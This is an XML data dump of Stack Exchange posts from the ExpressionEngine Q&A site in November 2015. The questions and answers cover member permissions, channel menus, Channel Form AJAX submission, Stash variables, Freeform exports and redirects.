  <row Id="34834" PostTypeId="2" ParentId="34832" CreationDate="2015-11-23T18:39:01.087" Score="0" Body="&lt;p&gt;No, that is not possible. You need to create channel fields and map those to IMDB data fields in add-on settings first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course (if you are programmer) feel free to develop such feature and submit pull request, as this add-on is open source.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-23T18:39:01.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34835" PostTypeId="2" ParentId="24681" CreationDate="2015-11-23T19:42:56.413" Score="0" Body="&lt;p&gt;Well glad it helps, I haven't tried working in the seperators in the drop down or split navigations (left and right)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-11-23T19:42:56.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34837" PostTypeId="2" ParentId="31506" CreationDate="2015-11-23T20:37:23.197" Score="1" Body="&lt;p&gt;This is a bug, and a solution from EllisLab can be found at &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20972&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20972&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="122" LastActivityDate="2015-11-23T20:37:23.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34839" PostTypeId="1" AcceptedAnswerId="34847" CreationDate="2015-11-23T17:20:58.443" Score="0" ViewCount="41" Body="&lt;p&gt;I have taken over an old Expression Engine 1.7 site and am trying to create a Member group that offers limited admin privs rather than create a &quot;Superadmin.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I want the user to be able to create, edit, publish, unpublish section entries, but when they do, the sections exist only as &quot;closed&quot; (unpublished) and when I try to edit them, &quot;closed&quot; is the only option in the pulldown.  I am assuming there's a setting in the Group preferences that is preventing this, but I don't know what setting.  I've tried a number of them and nothing seems to work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be great.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6875" OwnerDisplayName="user1149499" LastEditorUserId="19" LastEditDate="2015-11-24T09:12:55.563" LastActivityDate="2015-11-24T09:12:55.563" Title="In Expression Engine, I can't &quot;open&quot; entries, they only offer &quot;closed&quot; as an option" Tags="|channel-entries|members|ee1|groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34840" PostTypeId="1" AcceptedAnswerId="34853" CreationDate="2015-11-23T23:26:24.563" Score="0" ViewCount="145" Body="&lt;p&gt;I have a channel called services. The entries from that channel are used to populate a dropdown menu &amp;amp; a sidebar menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that there are some services that have sub-services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display only the parent services in the dropdown menu but need to display the parents with their children in the sidebar menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this when all services are in the same channel and there are no categories to create a nested list of parents &amp;amp; children services?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-11-24T14:38:30.513" Title="Menu with sub-items from channel entries" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34841" PostTypeId="2" ParentId="32082" CreationDate="2015-11-24T00:46:48.250" Score="0" Body="&lt;p&gt;You have to specifically give permissions to the new membergroup in the File Upload Preferences for each upload destination, if these destinations were created before the new membergroup was created.&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-11-24T00:46:48.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34843" PostTypeId="1" CreationDate="2015-11-24T05:10:49.653" Score="1" ViewCount="208" Body="&lt;p&gt;It's the first time I've used Ajax with Channel Form so this maybe a newbie question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm loading the template containing my form via AJAX and appending it to a DIV. When the form is submitted I want to show messaging in the same DIV so I'm overriding the default form submit in jQuery but I can't prevent the page from refreshing. If I set the form parameter ajax=&quot;yes&quot; then it simply redirects to JSON output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static form ID works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;comment-form&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot;&amp;gt;&#xA;          &amp;lt;button type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Channel Form ID does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA;          channel=&quot;logbook&quot;&#xA;          include_jquery=&quot;no&quot;&#xA;          include_assets=&quot;no&quot;&#xA;          datepicker=&quot;no&quot;&#xA;          class=&quot;logbook-add&quot;&#xA;          id=&quot;comment-form&quot;&#xA;          return=&quot;/account/manage-logbook-requests/#comments&quot;&#xA;          entry_id=&quot;{segment_3}&quot;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jQuery code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#comment-form&quot;).on('submit', function (e) {&#xA;            e.preventDefault();&#xA;            console.log('submitted');&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditDate="2015-11-25T01:11:42.567" LastActivityDate="2016-05-20T23:55:48.520" Title="Channel form : Ajax submisson" Tags="|safecracker|channel|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34844" PostTypeId="1" CreationDate="2015-11-24T07:13:11.300" Score="0" ViewCount="71" Body="&lt;p&gt;I am using EE v2.10.1  licence &amp;amp; need to add the forum addon but did not get any option as default.&#xA;I also have EE v3.0.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pleas advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6579" LastActivityDate="2016-05-30T18:41:45.770" Title="How to get forum for EE v2.10.1" Tags="|forum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34846" PostTypeId="2" ParentId="34727" CreationDate="2015-11-24T07:55:10.357" Score="1" Body="&lt;p&gt;When you create a NEW template, all access is set correctly (access for all groups).&#xA;When you DUPLICATE a template, all access is removed except for Super Admins.&lt;/p&gt;&#xA;" OwnerUserId="6872" LastActivityDate="2015-11-24T07:55:10.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34847" PostTypeId="2" ParentId="34839" CreationDate="2015-11-24T09:11:36.727" Score="1" Body="&lt;p&gt;Check these things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the weblog has some statuses group assigned to it&lt;/li&gt;&#xA;&lt;li&gt;the members group is authorized to publish entries in this weblog&lt;/li&gt;&#xA;&lt;li&gt;the members group is authorized to edit entries authored by others&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-24T09:11:36.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34848" PostTypeId="2" ParentId="34840" CreationDate="2015-11-24T09:16:04.360" Score="0" Body="&lt;p&gt;Option 1: use &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2: keep submenus within &quot;root level&quot; entries (e.g. using Relationship field)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-24T09:16:04.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34849" PostTypeId="1" AcceptedAnswerId="34851" CreationDate="2015-11-24T09:20:59.013" Score="0" ViewCount="93" Body="&lt;p&gt;I'm a newbie to EE &amp;amp; purchased EE 3.0.4! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is questions have to be grouped into categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the cpanel, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A category has to be chosen from drop down of categories of questions and a question &amp;amp; answer has to be entered as an entry&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In front end&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A category has to be chosen then a question has to be selected in the chosen category and answer for the question will be shown. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I learnt about &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/fieldtypes/relationships.html&quot; rel=&quot;nofollow&quot;&gt;relations&lt;/a&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;forms&lt;/a&gt; but if i choose a field as relation then i see the variable is printed as it is like {variable_name} but not its value. Creating forms is apparently only for interacting with end user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me in understanding how to create this in EE way. Can i create category, question and answer tables by myself and write quires with php-mysqli?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Category of questions means set of or group of questions, Its not used to indicated reserved keyword in EE  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/fieldtypes/relationships.html#id27&quot; rel=&quot;nofollow&quot;&gt;pizza store example&lt;/a&gt; was explained well. I was trying to create stores &amp;amp;  create pizzas under it. where as from example i learned that pizzas has to be created first and then assign them under stores&lt;/p&gt;&#xA;" OwnerUserId="6793" LastEditorUserId="6793" LastEditDate="2015-11-24T12:13:17.117" LastActivityDate="2015-11-24T12:13:17.117" Title="How to make an entry with dynamic drop down list?" Tags="|forms|ee3|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34850" PostTypeId="2" ParentId="34843" CreationDate="2015-11-24T09:21:56.900" Score="0" Body="&lt;p&gt;&lt;code&gt;json=&quot;yes&quot;&lt;/code&gt; parameter is merely changing format of data output. You will need to add appropriate Javascript code to handle submission and displaying of results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/channel/channel_form/examples.html#ajax-driven-entry-form&quot; rel=&quot;nofollow&quot;&gt;example in the docs&lt;/a&gt;. You can use it as the base but change code that is producing alert to code that will show success/error message in same div (e.g. using jQuery's &lt;code&gt;.html()&lt;/code&gt; function)&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="336" LastEditDate="2015-12-18T10:43:58.897" LastActivityDate="2015-12-18T10:43:58.897" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34851" PostTypeId="2" ParentId="34849" CreationDate="2015-11-24T09:32:58.863" Score="1" Body="&lt;p&gt;If you are using Relationship field (i.e. relating question/answer entry to &quot;category&quot; entry), then you need to output the variables like this: &lt;code&gt;{relationship_field:title}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/fieldtypes/relationships.html#usage-single-related-entries&quot; rel=&quot;nofollow&quot;&gt;See the docs for more examples&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-24T09:32:58.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34853" PostTypeId="2" ParentId="34840" CreationDate="2015-11-24T14:38:30.513" Score="0" Body="&lt;p&gt;When I needed to have a certain set of entries available on a dropdown (vs all on the sub-nav), I did this by adding another field to the channel.  So say you add a field (P&amp;amp;T Pill?) for &quot;Entry Type&quot; (&quot;cf_services_entry_type&quot;).  You have two options:  Parent / Child.  Then you can filter your entries based on those options.  So your main menu would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;services&quot; search:cf_services_entry_type=&quot;parent&quot; dynamic=&quot;no}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating the sub-menu would be a little trickier because your entries don't know who their parent is (or do you have a field set up for that?)  So Yuri's suggestion of using a relationship field would probably be necessary to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-11-24T14:38:30.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34854" PostTypeId="2" ParentId="34844" CreationDate="2015-11-24T14:51:24.287" Score="0" Body="&lt;p&gt;Please contact sales@ellislab.com&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-11-24T14:51:24.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34855" PostTypeId="2" ParentId="34790" CreationDate="2015-11-24T15:06:30.817" Score="0" Body="&lt;p&gt;I've finally found a solution for this. In my case it works well however it might not be viable for others. &lt;em&gt;(see last sentence)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that was needed was to set the &lt;code&gt;multipage_next_page&lt;/code&gt; value to the landing page URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$obj-&amp;gt;last_page = 1; //Not sure if needed&#xA;$obj-&amp;gt;params['multipage_next_page'] = $return_url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This then directs the user to the result page should they meet the specification outlined in the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue with this is that the form is left incomplete. This is fine for what I need but worth noting for anyone else.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-11-24T15:06:30.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34856" PostTypeId="1" CreationDate="2015-11-24T15:29:53.037" Score="0" ViewCount="120" Body="&lt;p&gt;So I have an old, bloated installation of EE with way too many addons etc, etc. I'd like to get a clean installation up and running and import all the old entries into the new setup, keeping the entry_ids the same (for at least one channel anyway). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps would I need to take to import the old channel data and keep the entry_ids the same?&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2016-05-23T17:41:31.613" Title="New installation of EE: Can I import entries from another installation and keep the entry_ids the same?" Tags="|import|export|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34857" PostTypeId="1" CreationDate="2015-11-24T16:46:37.130" Score="0" ViewCount="244" Body="&lt;p&gt;I’m having trouble getting a stash variable to work as a parameter in a channel entries loop. I have not had this problem before so I wonder if it may have something to do with the nature of the variable. It is coming from javascript code and it is called by the code . This produces the result of a city selected elsewhere on the page  (for example, Portland). Since that code can’t be  used in the channel entries tag I am using the following stash code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name=&quot;city1&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    process=&quot;end&quot;&#xA;    trim=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;label class=&quot;city&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to work correctly and both {exp:stash:city1} and {exp:stash:get:blah name='city1’} produce the result of the selected city (for example, Portland). But it doesn’t work in the following expressionengine code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;place&quot;&#xA;    search:city=&quot;{exp:stash:get:blah name='city1'}&quot;&#xA;    parse=&quot;inward&quot;&#xA;    dynamic=&quot;no&quot;}&#xA;&#xA;    {title}&#xA;    &amp;lt;br /&amp;gt;&#xA;&#xA;    {if no_results}&#xA;        No results&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’ve tried as many variants as I can think of using additional stash parameters but I need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Geoff&lt;/p&gt;&#xA;" OwnerUserId="6249" LastEditorUserId="3579" LastEditDate="2015-11-24T19:30:22.797" LastActivityDate="2016-06-09T05:25:16.960" Title="Stash variable in channel entries tag not working" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34858" PostTypeId="2" ParentId="34679" CreationDate="2015-11-24T17:04:50.397" Score="0" Body="&lt;p&gt;I just wanted to drop a quick update, this is a confirmed bug and the EE devs are currently working on a fix.  &lt;/p&gt;&#xA;" OwnerUserId="3156" LastActivityDate="2015-11-24T17:04:50.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34859" PostTypeId="2" ParentId="13739" CreationDate="2015-11-24T20:19:22.733" Score="0" Body="&lt;p&gt;Most probably it's a server side issue or a .httaccess. &#xA;As specified above try change in your config.php file  &lt;code&gt;$debug = 0 with $debug = 1&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2015-11-24T20:19:22.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34860" PostTypeId="2" ParentId="31728" CreationDate="2015-11-24T20:52:12.750" Score="0" Body="&lt;p&gt;I've had this problem too. The 'proper' solution is to ensure that the feed's fields are wrapped with CDATA markers, but that might not be possible in all circumstances.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2015-11-24T20:52:12.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34861" PostTypeId="1" CreationDate="2015-11-25T08:44:32.550" Score="0" ViewCount="149" Body="&lt;p&gt;Am using 3.0.4 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating an filed of type &lt;code&gt;file&lt;/code&gt; and in allowed file types I've chosen all. The filed is not accepting any file type other than image. Is there any place other than &lt;code&gt;system/ee/legacy/config/mimes.php&lt;/code&gt; to block or white list file types? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tried mp4 file of size 1MB and txt, xml, docx of size below 50KB.&lt;/p&gt;&#xA;" OwnerUserId="6793" LastEditorUserId="6793" LastEditDate="2015-11-27T04:05:52.133" LastActivityDate="2015-11-27T04:05:52.133" Title="cant upload file other than image" Tags="|file-uploads|ee3|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34862" PostTypeId="2" ParentId="34857" CreationDate="2015-11-25T10:21:40.817" Score="0" Body="&lt;p&gt;Unfortunately the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; trick doesn't work with the &lt;code&gt;search:&lt;/code&gt; parameters. You need to pass the variable as a placeholder to the channel entries tag instead. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse unprefix=&quot;nested&quot;}&#xA;   {exp:channel:entries&#xA;       channel=&quot;place&quot;&#xA;       search:city=&quot;{stash:city1}&quot;&#xA;       dynamic=&quot;no&quot;}&#xA;&#xA;       {title}&#xA;       &amp;lt;br /&amp;gt;&#xA;&#xA;       {if nested:no_results}&#xA;           No results&#xA;       {/if}&#xA;&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-11-25T10:21:40.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34863" PostTypeId="1" CreationDate="2015-11-25T11:39:20.913" Score="0" ViewCount="74" Body="&lt;p&gt;When using Charge to handle subscriptions is it possible to set the Charge Action (not the HTML form action parameter) dynamically based on which subscription option has been chosen in the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have 3 different subscriptions available. &#xA;Depending which subscription is chosen the member is to be put into a different member group. This was to be done using Charge's Actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it appears that you must set the Action as a parameter on {exp:charge:form}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set the Action dynamically within the form?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-11-25T11:47:08.213" LastActivityDate="2016-05-21T11:00:16.507" Title="Set action dynamically in Charge subscription form" Tags="|charge|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34864" PostTypeId="1" CreationDate="2015-11-25T11:56:15.553" Score="0" ViewCount="141" Body="&lt;p&gt;I'm using Freeform Pro (4.2.0) with EE 2.10.1, and Freeform exports have stopped working. The issue might or might not be related to updating EE: I'm not 100% sure (e.g., Freeform exports might have been &quot;broken&quot; a long time ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attempt to export form entries (964 entries), everything works fine: I get the options to specify how I want the form exported, and then I'm told the export is building and will download when ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The download, however, is a 1KB file with the following text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File freeform_contact_form_export_20151125_0621_40.csv does not exist.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That file exists on the server in the cache folder: &lt;code&gt;/system/expressionengine/cache/freeform/freeform_contact_form_export_20151125_0621_40.csv&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all the plumbing seems to work; client just can't download the file via the Control Panel. They have to FTP, and, for obvious reasons, I'd rather not make them do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's causing the broken download? You'll note that my cache path is above the webroot. Is that it? &lt;/p&gt;&#xA;" OwnerUserId="221" LastActivityDate="2015-11-25T11:56:15.553" Title="Exporting Freeform Entries returns a .csv file that does not exist" Tags="|solspace-freeform|export|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34865" PostTypeId="1" CreationDate="2015-11-25T12:59:15.637" Score="1" ViewCount="57" Body="&lt;p&gt;In Postmaster I have setup a parcel to send once an entry in the store orders channel (id=&quot;13&quot;) has been entered as a status of closed to replicate and abandoned cart notification. For some reason I don't get the notification. In the control panel log I can see: &quot;parcel does not have a valid channel_id, which is '1'.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have another parcel to a post date and can see the email is scheduled to send &quot;The email  been added to the queue and is set to be sent at 2015-11-25 12:08.&quot; but never receive the mail. A cron job has been setup to ping the URL. Testing the URL I get &quot;Mandrill Service - Error: The requested URL returned error: 500&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to fix these errors?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2015-11-25T12:59:15.637" Title="Postmaster parcels not sending" Tags="|postmaster|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34867" PostTypeId="1" CreationDate="2015-11-25T15:59:23.893" Score="3" ViewCount="242" Body="&lt;p&gt;Are there plans to upgrade Wygwam for the new EE3?  We use this plugin in all our work, so the lack of support for EE3 is a big issue for our firm and we are anxious to move to EE3, but not without Wygwam!&lt;/p&gt;&#xA;" OwnerUserId="6878" LastActivityDate="2015-11-25T21:35:28.087" Title="Wygwam for EE3?" Tags="|ee3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34868" PostTypeId="1" AcceptedAnswerId="34875" CreationDate="2015-11-25T16:41:09.140" Score="0" ViewCount="38" Body="&lt;p&gt;I have created a tell a friend form, I am using recipient_email_user to let the user add their friends email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the free form docs it says this data will be posted to the database and be available for viewing in the Freeform CP &lt;a href=&quot;https://solspace.com/software/expressionengine/freeform/docs/form/#tellafriend_form&quot; rel=&quot;nofollow&quot;&gt;Found here&lt;/a&gt;, I have tested it and the user gets the email, however, nothing is stored in the free form entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there example they have a field named friend_email, don't know why that is a required field in the form when there is not an input with that name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i have to create a field called recipient_email_user in order to store it? or should it store automatically to the form?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-11-26T05:41:49.870" Title="recipient_email_user" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34869" PostTypeId="1" CreationDate="2015-11-25T16:56:28.743" Score="0" ViewCount="149" Body="&lt;p&gt;I have a client that was purchased by another company, and they've asked to have several pages redirect to analogous destinations on the new parent company's site, but they want to maintain access to their current Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using DetourPro to manage most of the redirects, but can't figure out how to get it to redirect the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2016-06-03T19:37:40.863" Title="DetourPro Redirect Home Page" Tags="|redirects|detour-pro|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34870" PostTypeId="1" AcceptedAnswerId="35295" CreationDate="2015-11-25T21:04:07.823" Score="1" ViewCount="78" Body="&lt;p&gt;I am getting a &quot;Must be a valid string&quot; error on the billing name field in a charge form if the name contains a hyphen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea where that is coming from? I can't track it down.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2016-01-18T10:19:59.843" Title="Charge Stripe billing address erroring if it includes a hyphen" Tags="|stripe|charge|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34871" PostTypeId="2" ParentId="34869" CreationDate="2015-11-25T21:17:19.997" Score="0" Body="&lt;p&gt;Looks like you can't! See this &lt;a href=&quot;https://devot-ee.com/add-ons/support/detour-pro/viewthread/8421&quot; rel=&quot;nofollow&quot;&gt;support post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just tried it and entered &quot;/&quot; for the string to match and it does work, but then locks you out of the Control Panel, as the /admin.php gets re-written also. :( You might not be affected by the control panel logout if your control panel access isn't in the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you'll have to do it in .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /  http://parentcompany.com/wherever/you/want/to/go&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could add a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#redirect&quot; rel=&quot;nofollow&quot;&gt;template tag redirect&lt;/a&gt; on the homepage that goes to a different URL that then catches in Detour Pro (bit of poor approach though as bad for SEO to have multiple redirects).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-11-25T21:17:19.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34872" PostTypeId="2" ParentId="34867" CreationDate="2015-11-25T21:35:28.087" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://twitter.com/pixelandtonic/status/654257322189950976&quot; rel=&quot;nofollow&quot;&gt;this tweet&lt;/a&gt;, it's on it's way! So hopefully sometime in December..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'm waiting before jumping onto EE3, I've heard a mixed bag of comments, but heard good things so far regarding EE3.1, so hopefully that's far more solid with all the main snags sorted, it'll also give more time for add-on developers to catchup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good list of add-ons being worked on for EE3 &lt;a href=&quot;https://ellislab.com/blog/entry/expressionengine-3-add-on-developer-update-status&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and good old &lt;a href=&quot;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt; listing those already released.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-11-25T21:35:28.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34874" PostTypeId="2" ParentId="34679" CreationDate="2015-11-26T04:48:01.703" Score="0" Body="&lt;p&gt;It is solved in the latest release &lt;code&gt;3.0.4&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6793" LastActivityDate="2015-11-26T04:48:01.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34875" PostTypeId="2" ParentId="34868" CreationDate="2015-11-26T05:41:49.870" Score="0" Body="&lt;p&gt;This is considered a special form by Freeform, so it will work while it is not technically a field that exists. If you wish to store the email address in a regular Freeform field so you can view it later, then you will need to create a Freeform field with the short name of &lt;strong&gt;recipient_email_user&lt;/strong&gt;. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're right about the documentation saying it does this automatically. It doesn't, and I will have the documentation updated. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-11-26T05:41:49.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
